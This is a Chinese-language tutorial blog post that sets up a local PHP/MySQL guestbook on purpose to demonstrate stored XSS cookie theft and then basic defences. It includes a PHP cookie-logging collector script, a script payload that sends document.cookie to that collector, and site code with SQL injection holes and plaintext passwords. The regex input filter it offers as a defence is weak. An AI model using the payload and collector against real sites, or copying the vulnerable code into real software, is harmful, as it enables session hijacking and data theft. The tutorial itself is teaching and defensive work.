实战:存储型XSS攻击获取Cookie及防御

一、存储型XSS攻击原理

在讲解存储型XSS攻击之前,我们要先明白XSS是个什么东西。

XSS(Cross Site Scripting)跨站脚本攻击,是指攻击者利用Web服务器中的应用程序或代码漏洞,在页面中嵌入客户端脚本(通常是一段由JavaScript编写的恶意代码),当信任此Web服务器的用户访问Web站点中含有恶意脚本代码的页面或打开收到的URL链接时,用户浏览器会自动加载并执行恶意代码,达到攻击的目的。

XSS分为反射型、存储型和DOM型。这里我们只对存储型进行解释,存储型XSS又叫持久型XSS,XSS代码被攻击者存储到服务器中,因此用户在访问含有存储型XSS代码的网站时就会被攻击。

二、搭建测试网站

了解了存储型XSS是怎么达到攻击目的的,那么我们接下来就要在本机搭建一个测试网站啦。

1.phpstudy开启Apache和mysql服务

在这里插入图片描述

2.搭建数据库

我用的是Navicat创建的数据库和表,也可以上网自己找方法搭建。
数据库名xsstest,表是message_board和user,还有两个表中相应的字段。

在这里插入图片描述

3.创建网站文件

打开phpstudy的WWW目录,创建一个xsstest文件夹,在里面创建如图圈出的文件。

在这里插入图片描述

4.书写代码

登录界面:login.php

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title>xss登陆</title>
		<style>
			body{
				padding: 0;
				margin: 0;
				font-size:30px;//字体大小
			}
			.main{
				position: fixed;
				top: 50%;
				left: 50%;
				margin-left: -245px;
				margin-top: -201.5px;
				width: 490px;
				height: 403px;
			}
		
			input{
				width:250px;
				height:30px;
				text-align:left;
				color:blue;
			}
			.sub{
				width:125px;
				height:30px;
			}
			button{
				width:125px;
				height:30px;
				text-align:left;
			}
			.nav{
				padding-top: 80px;
				padding-left: 115px;
				width: 260px;
			}
			img{
				width: 100%;
				height: 100%;
			}
		</style>
	</head>
	<body>
		<img src="login.png" >
		<div class="main">
		<form class="nav" action="post.php" method="post">
		用户名 :<br /><input type="text" name="username"><br>
		密码 :  <br /><input type="password" name="password"> <br>
		             <input type="submit" value="登陆" class="sub">
				     <button><a href="reg.php">注册</a></button>
				
		</form>
		</div>
	</body>
</html>

在这里插入图片描述

登陆验证:post.php

<?php

       $conn=mysqli_connect("localhost",'root','root') or die("数据库连接失败!");//连接你的本地数据库
       //localhost为服务器 root为用户名 root为密码

       mysqli_select_db($conn,'xsstest') or die("您要选择的数据库不存在");//选择你建立的数据表

       $name=$_POST['username'];

       $pwd=$_POST['password'];//获取表单提交的内容用两个变量来存post方式接受的值

       $sql="select * from user where username='$name' and password='$pwd'";//查询语句

       $query=mysqli_query($conn, $sql);//函数执行一条 MySQL 查询。

       $arr=mysqli_fetch_array($query);//然后从$query中取一行数字数组

       if(is_array($arr)){//对$arr进行判断
			  setcookie('username',$name,time()+3600);
			  //设置cookie,时间为一小时,(以秒为单位)
              header("Location:index.php");//跳转页面

       }else{

              echo "您的用户名或密码输入有误,<a href=\"login.php\">请重新登录!</a>";

       }

?>

登陆成功界面:index.php

<?php
	if(!isset($_COOKIE['username']))//对跳转方式判断,阻止直接跳转;
	{
		echo '登录非法!<a href="login.php">请登录</a>';
		exit();
	}
 ?>
 <!DOCTYPE html>
<html >
<head>
    <title>xss测试网站</title>
    <meta charset="UTF-8">
	<style>
		.message{
			margin-top: 50px;
		}
		form{
			margin-top: 50px;
		}
		input{
			width: 400px;
		}
		.btn{
			margin-top: 5px;
			width: 100px;
		}
	</style>
</head>
<body>  
	Hello 靓仔!
	<a href="logout.php">注销</a>   //点击“ 注销 ”跳转页面
	
	<div class="message">
		<table border="1" width="500px">
			<tr>
				<td>留言内容</td>
			</tr>
			<?php
				$db = @mysqli_connect('localhost','root','root') or die("Fail");
				mysqli_select_db($db, 'xsstest');
				$sql = "select message from message_board;";
				$result = mysqli_query($db, $sql);
				
				if($result) {
					while($row=mysqli_fetch_array($result)) {
						echo "<tr><td> {$row['message']} </td></tr>";
					}
				}
				mysqli_close($db);
			
			?>
		</table>
	</div>
	<form action="message.php" method="post">
		在这里输入你的留言内容:</br>
		<input type="text" name="mess"></br>
		<input class="btn" type="submit"/>
	</form>
</body>
</html>

在这里插入图片描述

登出页面:logout.php

<?php
	if(isset($_COOKIE['username'])){
		setcookie('username',$name,time()-1);//清除cookie 将时间设置为负数
		header('Location:login.php');
	}
	else{
		echo '注销失败';
		header('Location:index.php');
	}
?>

注册页面:reg.php

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title>xss注册</title>
		<style>
			body{
				padding: 0;
				margin: 0;
				font-size:30px;//字体大小
			}
			.main{
				position: fixed;
				top: 50%;
				left: 50%;
				margin-left: -245px;
				margin-top: -201.5px;
				width: 490px;
				height: 403px;
			}
		
			input{
				width:250px;
				height:30px;
				text-align:left;
				color:blue;
			}
			.sub{
				width:125px;
				height:30px;
			}
			button{
				width:125px;
				height:30px;
				text-align:left;
			}
			.nav{
				padding-top: 80px;
				padding-left: 115px;
				width: 260px;
			}
			img{
				width: 100%;
				height: 100%;
			}
		</style>
	</head>
	<body>
		<img src="reg.png" >
		<div class="main">
		<form class="nav" action="regin.php" method="post">
		用户名<br/><input type="text" name="username"><br>
		密码  <br/><input type="password" name="password"> <br>
		           <input type="submit" value="注册" class="sub">
		    </body>
			</div>
	</body>
</html>

在这里插入图片描述

注册提交:regin.php

<?php
     $conn=mysqli_connect("localhost",'root','root') or die("数据库连接失败!");

     mysqli_select_db($conn,'xsstest') or die("您要选择的数据库不存在");
     $name=trim($_POST['username']);
	//trim函数,过滤空格,如果不加,我们在用户名后面添加很多空格,提交表单,打开firebug
	//调试工具,我们可以到输入的用户名后面会有很多空格,使用trim函数,我们可以把表单中空格给过滤掉
	 $password=$_POST['password'];
	 $sql = "select * from user where username='$name'";
	 $info = mysqli_query($conn, $sql);
	 $res = mysqli_num_rows($info);
	if(empty($name)){
		echo "<script>alert('用户名不能为空');location.href='reg.php';</script>";
	}else if(empty($password)){
		echo "<script>alert('密码不能为空');location.href='reg.php';</script>";
	}else{	
		if($res){
			echo "<script>alert('用户名已存在');location.href='reg.php';</script>";
		}else{
			$sql1 ="insert into user(username,password) values('".$name."','" .($password)."')";
			$result = mysqli_query($conn, $sql1);
			if($result){
		 			echo "<script>alert('注册成功')</script>",header("Location:login.php");;
			}else{
		 			echo "<script>alert('注册失败')</script>";
			}
		}
}	
?>

留言板提交:message.php

<?php

$message = $_POST['mess'];

$db = @mysqli_connect('localhost','root','root') or die("Fail");
mysqli_select_db($db, 'xsstest');
$sql = "insert into message_board(message) values('$message');";
$result = mysqli_query($db, $sql);
				
	
if(!$result) {
	die('无法插入数据:'.mysqli_error($db));
}
echo "数据插入成功!\n";
header('Location:index.php');
mysqli_close($db);

?>

三、创建xss攻击文件

还是在phpstudy中WWW目录中创建两个文件,test.php和xss.php,我这里是在WWW目录下的CrackTest文件夹中创建的,这会影响到我们后面payload的构造!请大家仔细构造,不要盲目照抄。

xss.php

<?php
	echo $_GET['content'];
?>

test.php

<?php

$cookie = $_GET['cookie'];

$ip = getenv('REMOTE_ADDR');

$time = date('Y-m-d g:i:s');

$referer = getenv('HTTP_REFERER');

$agent = $_SERVER['HTTP_USER_AGENT'];

$fp = fopen('cookie.txt', 'a');

fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n");    //写入文件

fclose($fp);

header("Location: http://www.baidu.com");
?>

四、上传payload获得用户Cookie

首先我们模拟一个场景,黑客用户hacker想要通过向服务器中存入xss恶意代码,来攻击获得登陆这个页面的用户的Cookie和其它有用的信息。

要想攻击的话,首先我们得有用户啊,所以我们先注册两个用户

用户名:hacker 密码:hacker // 攻击者
用户名:admin 密码:password // 受害者

首先,我们作为hacker用户登录,然后将我们构造的payload加入到留言板中
payload:

<script>window.open(\'http://localhost/CrackTest/xsstest/test.php?cookie=\'+document.cookie)</script>

这里注意,我们构造的payload其实就是放入数据库中的数据字符串,只不过这个字符串是危险的,会被恶意执行的。在这里根据MySQL的语法规则,我们在单引号前加了反斜杠进行转义,否则会报错。localhost也可以写成自己的主机ip地址,这样收到的信息更逼真一点(流汗)。

在这里插入图片描述
点击提交,跳转到百度页面,说明注入成功!
在这里插入图片描述
再打开我们第三步test.php所在的目录,有一个cookie.txt文件生成,里面就是我们hacker自己的cookie和一些信息。

在这里插入图片描述

另建一个登陆页面,模仿这时你是admin用户登陆这个页面,这时候admin用户再登陆时就会中招!

在这里插入图片描述

五、存储型XSS的防御

1.设置HttpOnly标志

HttpOnly标志可以有效防止非法用户通过Javascript读取cookie。
但是它真的安全吗?答案是否定的,HttpOnly只是不能读取cookie,但是我们还是可以写入cookie啊,这样就会产生别的问题,比如session fixation attack(会话固定攻击)。

那么什么是会话固定攻击?

会话固定攻击(session fixation attack)是利用应用系统在服务器的会话ID固定不变机制,借助他人用相同的会话ID获取认证和授权,然后利用该会话ID劫持他人的会话以成功冒充他人,造成会话固定攻击。

我们先看一下HttpOnly怎么设置吧。

我们在post.php页面中修改setcookie()的参数,改为setcookie('username',$name,time()+3600,NULL,NULL,NULL,TRUE);setcookie()函数里面第七个参数就是HttpOnly的设置。

用admin账户登陆一下。然后这次盗取的内容在cookie.txt中,Cookie的值真的没有了。

在这里插入图片描述

2.输入验证

说到底,导致攻击代码成功的原因是我们没有进行输入验证,让攻击有机可乘,那么我们如果通过验证判断出payload,然后阻止它,会不会就安全一点了呢。

修改message.php,加入对参数$message的判断:

<?php

$message = $_POST['mess'];


$message = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $message );
// $message = trim($message); // 去除字符串两端空格
// $message = strip_tags( addcslashes($message)); // addcslashes是在',",\,NULL等特殊字符前加入反斜杠转义
// strip_tags是去除html,php,xml的标签
// $message = htmlspecialchars($message);
// htmlspecialchars是将html中一些敏感字符进行转义


$db = @mysqli_connect('localhost','root','root') or die("Fail");
mysqli_select_db($db, 'xsstest');
$sql = "insert into message_board(message) values('$message');";
$result = mysqli_query($db, $sql);
				
	
if(!$result) {
	die('无法插入数据:'.mysqli_error($db));
}
echo "数据插入成功!\n";
header('Location:index.php');
mysqli_close($db);

?>

这里我们就不进行演示啦,代码里都有注释,大家可以自己尝试一下,输入的防御是参考DVWA存储型XSS防御的机制,有兴趣的朋友可以去看一下。

以上我们的xss防御其实都是最初级的,真正有效的还是得看大佬的心得,这里安利一下:如何预防应用程序中的XSS漏洞

完结撒花~~

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值